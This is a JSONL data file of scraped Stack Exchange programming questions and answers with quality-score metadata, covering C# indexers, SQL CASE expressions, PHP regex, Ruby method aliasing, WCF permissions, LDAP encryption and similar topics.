{"id": "hf_deaf17dd0349", "question": "<p>DataGridView, for example, lets you do this:</p>\n\n<pre><code>DataGridView dgv = ...;\nDataGridViewCell cell = dgv[1,5];\n</code></pre>\n\n<p>but for the life of me I can't find the documentation on the index/square-bracket operator.  What do they call it?  Where is it implemented?  Can it throw?  How can I do the same thing in my own classes?</p>\n\n<p>ETA: Thanks for all the quick answers.  Briefly: the relevant documentation is under the \"Item\" property; the way to overload is by declaring a property like <code>public object this[int x, int y]{ get{...}; set{...} }</code>; the indexer for DataGridView does not throw, at least according to the documentation.  It doesn't mention what happens if you supply invalid coordinates.</p>\n\n<p>ETA Again: OK, even though the documentation makes no mention of it (naughty Microsoft!), it turns out that the indexer for DataGridView will in fact throw an ArgumentOutOfRangeException if you supply it with invalid coordinates.  Fair warning.</p>\n", "question_body": "", "answer": "```\n```\nOperators                           Overloadability\n\n+, -, *, /, %, &, |, <<, >>         All C# binary operators can be overloaded.\n\n+, -, !,  ~, ++, --, true, false    All C# unary operators can be overloaded.\n\n==, !=, <, >, <= , >=               All relational operators can be overloaded, \n                                    but only as pairs.\n\n&&, ||                              They can't be overloaded\n\n() (Conversion operator)            They can't be overloaded\n\n+=, -=, *=, /=, %=                  These compound assignment operators can be \n                                    overloaded. But in C#, these operators are\n                                    automatically overloaded when the respective\n                                    binary operator is overloaded.\n\n=, . , ?:, ->, new, is, as, sizeof  These operators can't be overloaded\n\n    [ ]                             Can be overloaded but not always!\n```\n```\nSource of the information\nFor bracket:\n```\n```\npublic Object this[int index]\n{\n    \n}\n```\n```\n##BUT\nThe array indexing operator\ncannot be overloaded\n; however, types can define indexers, properties that take one or more parameters. Indexer parameters are enclosed in square brackets, just like array indices, but indexer parameters can be declared to be of any type (unlike array indices, which must be integral).\nFrom\nMSDN", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.669763"}
{"id": "hf_64b01802a0ac", "question": "<p>I am having severe performance issues when compiling a moderately large ASP.Net website in Visual Studio 2008 (targeting .Net 3.5). I know there are some tips &amp; registry hacks for improving compilation performance in VS 2005, are there any for VS 2008? Specifically, it seems that VS 2008 is compiling the whole website every time F5 is hit, even when no files have changed in that project since the last compile, or perhaps there is some way to skip the validation stage? </p>\n", "question_body": "", "answer": "I'm guessing this is an ASP.Net Website project and\nnot\nan ASP.Net Web Application project. You'll get better compile performance from a Web Application project so you might consider converting it.\nFor a Website project, you can open the Website in Visual Studio, right click the web site project node in the Solution Explorer and click Properties. When the dialog box opens, click the Build item and set the item labeled \"Before Running Startup Page\" to \"No Build\" or \"Build Page\". This will prevent Visual Studio from compiling all the pages in your site and improve your local development experience at the cost of reduced compilation. Probably a worthy trade-off in your case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.695301"}
{"id": "hf_64183a5f0344", "question": "<p>I know that jQuery and prototype have a $.each() function for iterating over each element in an array. Does YUI offer any help with this?</p>\n", "question_body": "", "answer": "What keeps you from simply\niterating\nthe array?\n```\n```\nfor(var i=0; i<ary.length; i++)\n  // assuming that ary[] contains objects with a DoSometing() method\n  ary[i].doSomething();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.732245"}
{"id": "hf_c2f19fc8fb99", "question": "<p>I'd like to make an (MS)SQL query that returns something like this:</p>\n\n<pre><code>Col1 Col2                  Col3\n---- --------------------- ------\nAAA  18.92                 18.92\nBBB  20.00                 40.00\nAAA  30.84                 30.84\nBBB  06.00                 12.00\nAAA  30.84                 30.84\nAAA  46.79                 46.79\nAAA  86.40                 86.40\n</code></pre>\n\n<p>where Col3 is equal to Col2 when Col1 = AAA and Col3 is twice Col2 when Col1 = BBB.\nCan someone point me in the rigth direction please?</p>\n", "question_body": "", "answer": "You didn't mention what kind of database you're using.  Here's something that will work in SQL Server:\n```\n```\nSELECT Col1, Col2, \n    CASE WHEN Col1='AAA' THEN Col2 WHEN Col1='BBB' THEN Col2*2 ELSE NULL END AS Col3\nFROM ...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.770583"}
{"id": "hf_9cda1becb2d2", "question": "<p>Ruby on Rails controllers will automatically convert parameters to an array if they have a specific format, like so:</p>\n\n<pre><code>http://foo.com?x[]=1&amp;x[]=5&amp;x[]=bar\n</code></pre>\n\n<p>This would get converted into the following array:</p>\n\n<pre><code>['1','5','bar']\n</code></pre>\n\n<p>Is there any way I can do this with an ActionScript 3 HTTPService object, by using the request parameter?  For example, It would be nice to do something like the following:</p>\n\n<pre><code>var s:HTTPService = new HTTPService();\ns.request['x[]'] = 1;\ns.request['x[]'] = 5;\ns.request['x[]'] = 'bar';\n</code></pre>\n\n<p>However, that will simply overwrite each value, resulting in only the last value being sent.  Anyone have a better idea?  I know I could just append stuff to the query string, but I'd like to do it in the POST body.</p>\n", "question_body": "", "answer": "I usually do something like this...\n```\n```\nvar s:HTTPService = new HTTPService();\ns.url = \"http://foo.com\";\ns.method = \"post\";\n// add listeners...\ns.addEventListenser(ResultEvent.RESULT,function(event:ResultEvent){\n\n    mx.controls.Alert.show(event.result.toString());\n});\n\n// send the data...\ns.send({\n    a: 1,\n    b: 5,\n    c: \"bar\"\n});\n```\n```\nwhich would result in the HTTP Get / POST of:\nhttp://foo.com?a=1&b=5&c=bar\nYou could also just create an associative array and pass it to the HTTPService send method, that would be something like:\n```\n```\nvar postdata:Object = {};\n\npostdata[\"a\"] = 1;\npostdata[\"b\"] = 5;\npostdata[\"c\"] = \"bar\";\n\n// s is the HTTPService from above...\ns.send(postdata);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.795122"}
{"id": "hf_01dac8b3b8a8", "question": "<p>How can I match (PCRE) everything inbetween two tags?</p>\n\n<p>I tried something like this:</p>\n\n<blockquote>\n  <p>&lt;!--\\s&#42;LoginStart\\s&#42;--&gt;(.*)&lt;!--\\s&#42;LoginEnd\\s&#42;--&gt;</p>\n</blockquote>\n\n<p>But it didn't work out too well for me..</p>\n\n<p>I'm kind of new to regular expressions, so I was hoping if someone would be kind enough to explain to me how I would accomplish this, if its even possible with regular expressions.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "PHP and regex?  Here's some suggestions:\n```\n```\n'/<!--\\s*LoginStart\\s*-->(.*)<!--\\s*LoginEnd\\s*-->/Us'\n```\n```\nMight be better - the\n```\nU\n```\ncapitalized makes the regex non-greedy, which means it'll stop at the first\n```\n<!--\n```\nthat may work.  But the important one is the\n```\ns\n```\n, which tells the regex to match a newline with the\n```\n.\n```\ncharacter.\nDepending on how certain you are on the capitalization, adding an\n```\ni\n```\nat the end will make the regex search case-insensitive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.824223"}
{"id": "hf_a17aee237f8f", "question": "<p>So, I've been tasked with making a kiosk for the office for showing statistics about our SCRUM progress, build server status, rentability and so forth. It should ideally run a slideshow with bunch of different pages, some of them showing text, some showing graphs and so on. </p>\n\n<p>What is the best approach for this? I first thought of powerpoint, but It should be able to take the images from a webserver so I can automate the graph generation procedure. I would also like to take text from an external source when showing \"Who broke the build\" or some page like that.</p>\n\n<p>I have no doubt that ready-made systems exist, but I don't really know where to look for them.</p>\n\n<p>Is this easy/hard in powerpoint? Or are there an ubiquous app that everybody but me knows about?</p>\n", "question_body": "", "answer": "I would recommend creating it as a series of web-pages, which uses Javascript or the meta refresh tag to cycle though the different pages. Simply full-screen the browser on a spare machine, and connect it to a projector/monitor/big TV.\nThis has lots of benefits:\nit's\ntrivial\nto display images from an external server (an\n```\n<img>\n```\ntag)\nit will cost nothing to setup (it can run on basically any functioning machine), and runs in a browser\nit is quick to do (you do not have to worry about cross-browser compatibility, or different screen resolutions as you know the exact machine you are developing for\nit's expandable - while what you describe is probably possible within Powerpoint, but if you do it as a web-page, you can use Javascript (or a JS framework like jQuery), and it's very easy to serve the pages via a web-server, then you can use any server-side scripting language.\nBasically, you would have a series of files, say\n```\nslide001.htm\n```\n,\n```\nslide002.htm\n```\nand\n```\nslide003.htm\n```\n. Slide 1 would redirect to slide002 after 30 seconds, slide002 to slide 003, and slide003 would redirect to slide001..\nThe specific things you mention: graph generation and \"Who broke the build\" text:\nNot sure which CI tool you use, but many of them generate graphs anyway, so that would be required is having one \"slide\" with something like\n```\n<img src=\"http://hudson.abc/job/proj042/buildTimeGraph\">\n```\nFor the who-broke-the-build text, you would be easiest to run the slides as\n```\n.php\n```\nfiles served though a web-server, using\nXAMMP\n.\nThen you would have a function that scrapes your CI server for whoever broke the last build, and in one of the slides, you would have\n```\n<?PHP echo(who_broke_build()); ?>\n```\n(Obviously if you know some other language/system better, use that!)\nThe final benefit I can think of is that, if you serve the files through a web-server, you can allow people display it locally, say as their browsers home-page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.875346"}
{"id": "hf_08f9eb3a3c4b", "question": "<p>Joel often talks about using MS Excel for lightweight project management, but I'm curious about actual implementations of this idea. I've seen some templates that seem to clone MS Project via macros, which would be overkill for a lightweight project. Anyone have any useful templates?</p>\n", "question_body": "", "answer": "You have some pretty advance template with\nPipetalk Scheduler\nalt text http://ep.yimg.com/ip/I/pipetalk_2055_216386\nHowever, since it seems to be a\nlittle too much\n, I just transfered that to the\nworst UI thread\n;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.901195"}
{"id": "hf_92aa4c9e00cb", "question": "<p>I found one source which successfully overrode <code>Time.strftime</code> like this:</p>\n\n<pre><code>class Time\n  alias :old_strftime :strftime\n  def strftime\n    #do something\n    old_strftime\n  end\nend\n</code></pre>\n\n<p>The trouble is, <code>strftime</code> is an instance method.  I need to override <code>Time.now</code> - a class method - in such away that any caller gets my new method, while the new method still calls the original <code>.now</code> method.  I've looked at <code>alias_method</code> and have met with no success.</p>\n", "question_body": "", "answer": "Class methods are just methods. I highly recommend against this, but you have two equivalent choices:\n```\n```\nclass Time\n  class << self\n    alias_method :old_time_now, :now\n\n    def now\n      my_now = old_time_now\n      # new code\n      my_now\n    end\n  end\nend\n\nclass << Time\n  alias_method :old_time_now, :now\n\n  def now\n    my_now = old_time_now\n    # new code\n    my_now\n  end\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.925345"}
{"id": "hf_94572924ba82", "question": "<p>I need some help regarding algorithm for randomness. So Problem is.</p>\n\n<p>There are 50 events going to happen in 8 hours duration. Events can happen at random times.\nNow it means in each second there is a chance of event happening is 50/(8*60*60)= .001736.\nHow can I do this with random generation algorithm?</p>\n\n<p>I can get random number </p>\n\n<pre><code>int r = rand();\ndouble chance = r/RAND_MAX;\nif(chance &lt; 0.001736)\n    then event happens\nelse\n    no event\n</code></pre>\n\n<p>But most of times rand() returns 0 and 0&lt;0.001736 and I am getting more events than required.</p>\n\n<p>Any suggestions?</p>\n\n<hr>\n\n<p>sorry I forget to mention\nI calculated chance as\ndouble chance = (static_cast )(r) / (static_cast)(RAND_MAX);</p>\n\n<hr>\n\n<p>It removed double from static_cast</p>\n\n<p>double chance = (double)r/(double)(RAND_MAX);</p>\n", "question_body": "", "answer": "Both\n```\nr\n```\nand\n```\nRAND_MAX\n```\nare integers, so the expression\n```\n```\ndouble chance = r / RAND_MAX;\n```\n```\nis computed with integer arithmetic. Try:\n```\n```\ndouble chance = 1.0 * r / RAND_MAX;\n```\n```\nwhich will cause the division to be a floating point division.\nHowever, a better solution would be to use a random function that returns a floating point value in the first place. If you use an integer random number generator, you will get some bias errors in your probability calculations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.961194"}
{"id": "hf_27205902e651", "question": "<p>I have often wondered why it is that non-English speaking programmers are forced to use a different language when programming when it would seem to be so easy to offer an IDE that could replace keywords with localized versions. Why can't the Germans use a \"während..macht\" loop?</p>\n\n<p>Do programmers in Japan, Germany, France, Spain, Botswana just make extensive use of macros/define statements to make life more tolerable or do they just get used to the functional significance of print, if, then, while, do, begin, end, var, double, function, etc?</p>\n\n<p>Perhaps the increased use of frameworks (J2EE/.NET) makes this more complicated, but it still seems worthwhile. On the other hand, if Klingon became the de-facto programming language in the US I'd probably regret suggesting this.</p>\n", "question_body": "", "answer": "In most programming languages, keywords are reserved, so they can't be used for variable names etc.\nNow suppose the keywords changed every time you changed culture - code written in one culture couldn't be ported to another without changing identifiers. Ick. Furthermore, when anyone copied their code onto a question forum like this, we'd no longer be speaking the same language, as it were.\nThere are distinct advantages to only having one culture in the programming language itself...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.049135"}
{"id": "hf_b398332bab27", "question": "<p>I am using a WCF service and a net.tcp endpoint with serviceAuthentication's principal PermissionMode set to UseWindowsGroups.</p>\n\n<p>Currently in the implementation of the service i am using the PrincipalPermission attribute to set the role requirements for each method. </p>\n\n<pre><code>        [PrincipalPermission(SecurityAction.Demand, Role = \"Administrators\")]\n        [OperationBehavior(Impersonation = ImpersonationOption.Required)]\n        public string method1()\n</code></pre>\n\n<p>I am trying to do pretty much the same exact thing, except have the configuration for the role set in the app.config. Is there any way to do this and still be using windows groups authentication?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "If I understood well you want to select the role at runtime. This can be done with a\npermission\ndemand within the WCF operation. E.g.\n```\n```\npublic string method1()\n{\n    PrincipalPermission p = new PrincipalPermission(null, \"Administrators\");\n    p.Demand();\n    ...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.096174"}
{"id": "hf_93f89058b51b", "question": "<p>I have a netbook running Linux and a large collection of computer books and reference material as HTML. I'd like some compact way of storing these books which can be browed without unpacking them first. This would save space and reduce wear on my small SSD.</p>\n\n<p>If there was some way to convince Firefox to browse files contained in ZIP file, this would be ideal. (I know iCab (Mac) had a web archive format that worked this way.)  Perhaps a Firefox plugin? A small web server that can serve directly from ZIP files? Some magic FUSE module? Does anyone have any ideas?</p>\n\n<p>On my PDA (which the netbook is largely replacing) I used iSilo for this, but it's not available for Linux, its conversions are lossy and it costs money. </p>\n", "question_body": "", "answer": "You can use\nOpenOffice.org\nto open the html pages, and then save them as OO documents. OO documents are essentially a zip files.\nAnother option is to use OO to save as pdf.\nYou can even do this from a command line using this\nOO macro\n.\nSame with\nAbiWord\n- you can use it on\ncommandline to convert\n.\nIn the AbiWord example there is shown how to convert all files in a directory to a desired format (pdf). Then you can use\npdftools\nto merge all pages in one document.\nAlso, I do not know what windows manager your laptop has, but if it is KDE, konqueror (the file and web browser for KDE) opens web pages from inside a zip file w/o any problem.\nMost probably Gnome's Nautilus can do this as well (I have no Gnome here to test).\nHave you ever tried to open a zip file with whatever file manager you have, and then click on a web page inside it?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.155314"}
{"id": "hf_13dc6ef4bbfa", "question": "<p>I have an HTTPHandler that is reading in a set of CSS files and combining them and then GZipping them.  However, some of the CSS files contain a Byte Order Mark (due to a bug in TFS 2005 auto merge) and in FireFox the BOM is being read as part of the actual content so it's screwing up my class names etc.  How can I strip out the BOM characters?  Is there an easy way to do this without manually going through the byte array looking for \"ï»¿\"?</p>\n", "question_body": "", "answer": "Expanding on\nJon's comment\nwith a sample.\n```\n```\nvar name = GetFileName();\nvar bytes = System.IO.File.ReadAllBytes(name);\nSystem.IO.File.WriteAllBytes(name, bytes.Skip(3).ToArray());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.179398"}
{"id": "hf_1d1e5a67f171", "question": "<p>According to the C# compiler and the Silverlight 2 documentation, Silverlight doesn't provide a FindName method for the DataTemplate class.  I want to find a Border that's inside a ContentPresenter.  What's the best way in SilverLight 2?</p>\n", "question_body": "", "answer": "Not totally sure I understand the scenario, but since you mention the DataTemplate I'm assuming you're using a template.\nIf you're using a template then what you do is give your border a name (x:Name=\"border\") and then override the OnApplyTemplate method. In that method you use GetTemplateChild and pass the name you used. This will return a reference to your border.\nIf you're not use a template and have a reference to the ContentPresenter then you could write a recursive function that looks at the Content property of the child and if it isn't a border then calls your same function on its content.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.202016"}
{"id": "hf_c419bfc9e1b7", "question": "<p>I would like to include some code coverage into our nightly build process. We're using CruiseControl, Ant, and Buckminster. Buckminster drives checkout from multiple repositories, and the PDE building and packaging of the product.</p>\n\n<p><strong>Has any one any experience integrating code coverage into an RCP headless build?</strong></p>\n\n<p>I have been looking at Cobertura, EMMA/EclEMMA, DbUnit though am very interested to hear of any experiences with these or any other tools. </p>\n", "question_body": "", "answer": "Cobertura seemed to be able to do the job for us.\nOnce the unit tests were running (a question all to itself), I was able to:\ninstrument the bundles as standalone Jars.\nre-run the unit tests with a cobertura on the parent class loader class path.\nThe trick here is to use\n```\nosgi.parentClassloader=app\n```\nin the config.ini file used to run the unit test.\n```\next\n```\n== Java extensions\n```\nboot\n```\n== the boot class loader (default)\n```\nfwk\n```\n== framework?\n```\napp\n```\n== application, i.e. just like a normal application, with a classpath specified on the command line.\nThe instrumented code needed runtime access to the cobertura jar, so this last step was imperative.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.248011"}
{"id": "hf_ea7029006a82", "question": "<p>I'm trying to watch the execution of a VB6 app and I'm running into an issue because once I enter the debugger and then hit <code>Continue</code>, it no longer lets me step through the code until I hit another break point.  I want to be able to execute a program without  stepping through something until I hit a point where I want to watch it execute.  Ideally this would be something to the effect of holding a key down while I pressed a button to 'step into' that function.</p>\n\n<p>Thanks in advance!</p>\n\n<p><strong>[EDIT]</strong>: I'm aware that I can use break points to stop the execution.  To be more clear, the problem is that I don't know where the execution is going to, so I can't set the break point there (because I don't know where there is).  That's why I essentially want to be able to say, 'after this next thing that I do, break, no matter what'.  It sounds like this functionality does not exist, but I'm still keeping my fingers crossed.</p>\n", "question_body": "", "answer": "You can press the F8 key to step through the code line by line.  Alternatively, you can press SHIFT-F8 to step through line by line.\nF8 will step you in to a function, where SHIFT-F8 will step you over the function.  If you click on the DEBUG menu in the VB IDE, you will see other options too.\nEDIT:\nYou can also put a permanent break point in your code by using:\n```\n```\nDebug.Assert False\n```\n```\nBy doing it this way, the 'breakpoint' is saved in your code.  When you compile the app, debug code is ignored.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.296821"}
{"id": "hf_0c299613f18a", "question": "<p>Say we are traversing a graph and want to quickly determine if a node has been seen before or not. We have a few set preconditions.</p>\n\n<ol>\n<li>Nodes have been marked with integers values 1..N</li>\n<li>Graph is implemented with nodes having an adjacency list</li>\n<li>Every integer value from 1..N occurs in the graph, which is of size N</li>\n</ol>\n\n<p>Any ideas for doing this in a purely functional way?(No Hash tables or arrays allowed).</p>\n\n<p>I want a data structure with two functions working on it; add(adds an encountered integer) and lookup(checks if integer has been added). Both should preferably take O(n) time amortized for N repetitions.</p>\n\n<p>Is this possible?</p>\n", "question_body": "", "answer": "You can use a\nData.Set\n. You add an element by creating a new set from the old one with\n```\ninsert\n```\nand pass the new set around. You look up whether an element is a member of the set with\n```\nmember\n```\n. Both operations are O(log n).\nPerhaps, you could consider using a state monad to thread the passing of the set.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.331727"}
{"id": "hf_ecb6d1e72017", "question": "<p>I have been trying to learn more about lambda expressions lately, and thought of a interesting exercise...</p>\n\n<p>is there a way to simplify a c++ integration function like this:</p>\n\n<pre><code>// Integral Function\ndouble integrate(double a, double b, double (*f)(double))\n{\n    double sum = 0.0;\n\n    // Evaluate integral{a,b} f(x) dx\n    for(int n = 0 ; n &lt;= 100; ++n)\n    {\n        double x = a + n*(b-a)/100.0;\n        sum += (*f)(x) * (b-a)/101.0;\n    }\n    return sum;\n}\n</code></pre>\n\n<p>by using c# and lambda expressions?</p>\n", "question_body": "", "answer": "What about this:\n```\n```\npublic double Integrate(double a,double b, Func<double, double> f)\n{\n    double sum = 0.0;\n\n    for (int n = 0; n <= 100; ++n)\n    {\n        double x = a + n * (b - a) / 100.0;\n        sum += f(x) * (b - a) / 101.0;\n    }\n    return sum;\n}\n```\n```\nTest:\n```\n```\nFunc<double, double> fun = x => Math.Pow(x,2);        \n    double result = Integrate(0, 10, fun);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.366760"}
{"id": "hf_60fbc264c52d", "question": "<p>Where should I be logging exceptions? At the data service tier(ExecuteDataSet, etc.) and/or at the data access layer and/or at the business layer?</p>\n", "question_body": "", "answer": "If you are throwing the exception you should log it when it occurs and then  bubble it up.  Otherwise only the end user should log an exception (you may have lots of tracing on of course in which case it may get logged quite a bit).\nThe end user may be a UI component or a Service or something...\nIf you handle an exception in you code somewhere - then that is the end user and you should log it there.  In most apps and in most cases it should be logged by the UI when it displays the error message to the user.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.390334"}
{"id": "hf_3d5884555233", "question": "<p>I want to write a little app for myself which notifies me if there is a new version of php or mysql but I would need a feed or an xml file to read it from.</p>\n", "question_body": "", "answer": "PHP.net provides one\nhttp://www.php.net/releases/index.php?serialize=1\nAn alternative that may allow you to add additional software later is looking into the feeds provided by freshmeat:\nhttp://freshmeat.net/projects/mysql/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.450198"}
{"id": "hf_40746ffd9b16", "question": "<p>Are there any Code Generators that would take a well-formed XML document, and write out an XSD schema based on how the XML document is structured?</p>\n", "question_body": "", "answer": "The XSD.exe utility (which is installed with Visual Studio) is capable of creating an XSD file from an XML file.\nHere's the link on\nMSDN\nI believe it may also part of the .NET SDK, meaning you would not need a full-blown Visual Studio installation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.509232"}
{"id": "hf_a0c5c66227b1", "question": "<p>In graph theory, what is the distinction between minimal distance (which Dijkstra's algorithm finds), and minimal path (which I'm not sure what it is)?</p>\n", "question_body": "", "answer": "I'm not 100% sure, but it sounds like the minimal path would be the list of vertices visited when traversing the minimal distance path from vertex A to vertex B.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.534064"}
{"id": "hf_1ac3304ab487", "question": "<p>what's the easiest way to bulk load my iTunes library xml into an existing SQL Server database?</p>\n", "question_body": "", "answer": "bcp with xml flag.\nhttp://msdn.microsoft.com/en-us/library/ms162802.aspx\nIt really depends how you want it in there and what you're purposes are, which you haven't explained.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.580477"}
{"id": "hf_558e3d13e504", "question": "<p>I have a JavaScript variable which holds an HTML page and due to the setup I need to extract everything between <code>&lt;div id=\"LiveArea\"&gt;</code> and <code>&lt;/div&gt;</code> from that variable using JavaScript.</p>\n\n<p>Any help is greatly appreciated.</p>\n", "question_body": "", "answer": "I'm not sure I follow you when you say, \"Javascript variable which holds an html page\", but If you need to extract the HTML between such a div, you can use the element's innerHTML property.\n```\n```\nvar e = document.getElementById('LiveArea');\nif(e) alert(e.innerHTML);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.621160"}
{"id": "hf_8f8640caa9d7", "question": "<p>Here's some code I have:</p>\n\n<pre><code>MyClass* MyClass::getInstance()\n{\n   static MyClass instance;\n   return &amp;instance;\n}\n</code></pre>\n\n<p>I want to look into this singleton's current values. But I'm currently paused three hours into execution, and the reason I'm paused is that I'm out of memory. So I can't put a breakpoint in this method there to see what the value is.</p>\n\n<p>My question then is how to refer to this <code>instance</code> variable from a global scope. I've tried referring to it as <code>MyClass::getInstance::instance</code> but that doesn't work. I'm guessing <code>getInstance</code> has to be decorated somehow. Anyone know how?</p>\n\n<p>This is in Visual Studio 2008.</p>\n", "question_body": "", "answer": "In gdb, you can put a watchpoint on the mangled name of the variable.\nFor example, with this function:\n```\n```\nint f() {\n    static int xyz = 0;\n    ++xyz;\n\n    return xyz;\n}\n```\n```\nI can watch _ZZ1fvE3xyz (as mangled by gcc 3.2.3 or gcc 4.0.1).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.645127"}
{"id": "hf_b9d6d40c4303", "question": "<p>In Websphere when you do an LDAP query using LdapContext are the transmission of credentials encrypted?</p>\n\n<pre><code>LdapContext ctx = new InitialLdapContext (env, null);\n</code></pre>\n\n<p>Lets say I make an LdapContext for a web app to do some custom LDAP calls.</p>\n\n<p>How do I know if my call is secure / encrypted?</p>\n", "question_body": "", "answer": "In order to secure/encrypt your LDAP calls you need to issue the \"Start TLS\" operation.\nOtherwise I think transport is plain text.\nFor more:\nhttp://java.sun.com/products/jndi/tutorial/ldap/ext/starttls.html\nObviously the Java API is based on LDAP itself.  So you could learn more about how the protocol itself handles it...i.e.:\nhttp://en.wikipedia.org/wiki/Ldap#StartTLS", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:18.672854"}
